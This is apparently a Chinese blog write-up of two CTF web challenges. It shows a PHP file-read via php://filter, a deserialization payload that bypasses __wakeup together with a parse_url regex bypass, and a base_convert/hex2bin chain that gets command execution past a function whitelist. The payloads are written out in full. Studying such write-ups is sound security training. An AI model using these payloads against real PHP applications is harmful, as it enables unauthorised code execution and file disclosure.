Web

justsoso

打开页面,扫目录 发现有

index.php

hint.php

flag.php

查看源码

需要拿到 源码。但是hint的后台代码拿不到

然后用php伪协议 path=php://filter/read=convert.base-encode/resource=xxx.php

任意文件读取 获取 hint.php 和index.php的源码

hint.php源码如下

<?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
    foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
  public function __construct($handle) { 
        $this->handle = $handle; 
         echo "222\n";
    } 
  public function __destruct(){
    $this->handle->getFlag();
         echo "destruct\n";
  }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
    $this->file = $file;
    $this->token_flag = $this->token = md5(rand(1,10000));
    }

  public function getFlag(){
    $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
    {
      if(isset($this->file)){
        echo @highlight_file($this->file,true); 
            }  
        }
    }
}

源码分析:

该源码应用到反序列化,

首先分析Flag类

类中有一个构造函数 和一个getFlag函数

getFlag 函数:

先对token_flag变量赋予随机(1,10000)的md5值

然后对比token和token_flag是否相同

相同则查看 file是否存在 存在则 打印文件内容

构造函数:

获取file文件路径

赋予token_flag和token相同的md5值

分析后发现我们想要使用getFlag则需要使token完全等于token_flag

因此要使用 反序列化 引用 即 b->token=&b->token_flag;

b = new Flag();b->file=”phpinfo.php”;

b->token=&b->token_flag;

$b->getFlag();

分析Handle类:

这个类有 一个wakeup函数 一个构造函数 一个destruct函数

wakeup函数需要在反序列化的时候进行绕过

构造函数 需要传入参数 参数值为Flag类的序列化

distruct函数 即调用getFlag函数

a = new Handle(unserialize(‘O:4:”Flag”:3:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:3;}’));b = new Flag();

b->file=”phpinfo.php”;b->token=&b->token_flag; echo(serialize(a));

得到一个序列化队列

O:6:”Handle”:1:{s:14:”Handlehandle”;O:3:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:4;}}

由于 handle变量为私有属性 因此需要绕过

又需要绕过wakeup函数

因此修改序列化队列

O:6:”Handle”:1:{s:14:”%00Handle%00handle”;O:4:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:4;}}

参考文章

hint.php的源码审计告一段落

接下来分析index.php源码

<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
  echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
  die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
          die('stop hacking!');
          exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>

源码中有两段正则查询

preg_match(“/flag/”,file) preg_match(“/flag/”,value)

第一段是对url中的file变量查询是否存在flag字符

第二段是对url中的query查询是否存在flag字符

因为上边将query 给value赋值

第一段直接使用 file=hint.php

第二段需要用到[parse_url函数的漏洞]

因此payload:

index.php?file=hint.php&payload=O:6:”Handle”:1:{s:14:”%00Handle%00handle”;O:4:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4″;s:10:”token_flag”;R:4;}} destruct

需要在index.php前使用双斜杠 来达成相对路径 将 path值向上传递给host,并且query值传给path 因此可以绕过第二段正则,

得到flag

love_math

很棒的一道题,话说感觉今年web题起码都挺有意思的。题目质量很棒!

拿到题目,看到计算,立马可以想到是一道rce,本来以为是盲打的。然后队友告诉有源码,才看到calc.php在没有输入的情况下,会爆出源码:

分析后可以发现,出题人进行了严格的过滤。此时只能满足基本都运算以及白名单内函数运算。

一开始看到有进制转换的函数,于是找到了,dechex() 。想到通过进制转换变为字符,然后异或,拼接处shell。直到看到小于80字符,发现完全不可能,字符量太大。

转而寻找其他思路。然后发现自己好傻。明明有一个可以直接输出字符的函数base_convert()。

在这里,可以直接构造36进制,此时我们就可以有0-9a-z的任意字符,开开心心构造rce。

// 1751504350 system
// 784 ls
base_convert(1751504350,10,36)(base_convert(784,10,36))

然而,to young to nalive.

开开心心读flag的时候,突然发现,我的空格被谁吃了?不对,不应该这么说,应该是,空格,你在哪,我想你了。

对,空格无论如何也出不来。陷入僵局。

然后经过无数次想砸电脑、最终想到,hex2bin.这个函数可以将16进制转为任意字符。也就是ascii码转换,此时我们多重编码一次,通过这个来实现payload。

// 37907361743 hex2bin
// 426836762666 636174202a cat *
// cat *
base_convert(25071743913,10,36)(dechex(426836762666))
// 拼一下
// system("cat *")
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(dechex(426836762666)))
// 然而..

好吧,字符超了…

此时开始了苦逼的优化之旅。

首先,先把system换了,改exec。

然后,cat换nl。

此时由于exec的特性。我们还得修改一下payload。最终payload

// exec("nl f*")
// 696468 exec
// 37907361743 hex2bin
// 474260465194 6e6c20662a nl f*
base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(474260465194)))

然而…

一查数81..

心态真的炸了..

但是,含着泪也要做下去…

再仔细看,10进制两位数,9进制一位数,此时把十进制转换,全变为9进制,岂不是美滋滋少俩数。

// exec("nl f*")
// 1271333 exec
// 117754344425 hex2bin
// 474260465194 6e6c20662a nl f*

base_convert(1271333,9,36)(base_convert(117754344425,9,36)(dechex(474260465194)))
// 此时因为hex2bin 9进制的话造成了数据多了一位,我们可以根据hex2bin的样子,来对后面36进行缩减,此时可以缩减为34
// 76478043844 hex2bin

base_convert(1271333,9,36)(base_convert(76478043844,9,34)(dechex(474260465194)))

然而…

想骂街了…

竟然是80….

还是差一位….

exec即便优化到34也没用..

此时真的是没法在优化了,看到还有半个多小时结束。想着要不还是洗洗睡吧。

灵光一闪,会不会存在某种进制转换下,也全是数字的情况?

for ($y=36; $y>=34; $y--) {
  for ($x=1; $x<=$y; $x++) {
    $c = base_convert("exec",$y,$x);
    if(strlen($c) < 7){
      echo "base_convert(\"exec\",$y,$x)";
      echo $c."\n";
    }
  }
}

分析一波

5位,美滋滋

// exec("nl f*")
// 47138 exec
// 71637815856 bin2hex
// 474260465194 6e6c20662a nl f*
base_convert(47138,20,36)(base_convert(76478043844,9,34)(dechex(474260465194)))

分类: CTF

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注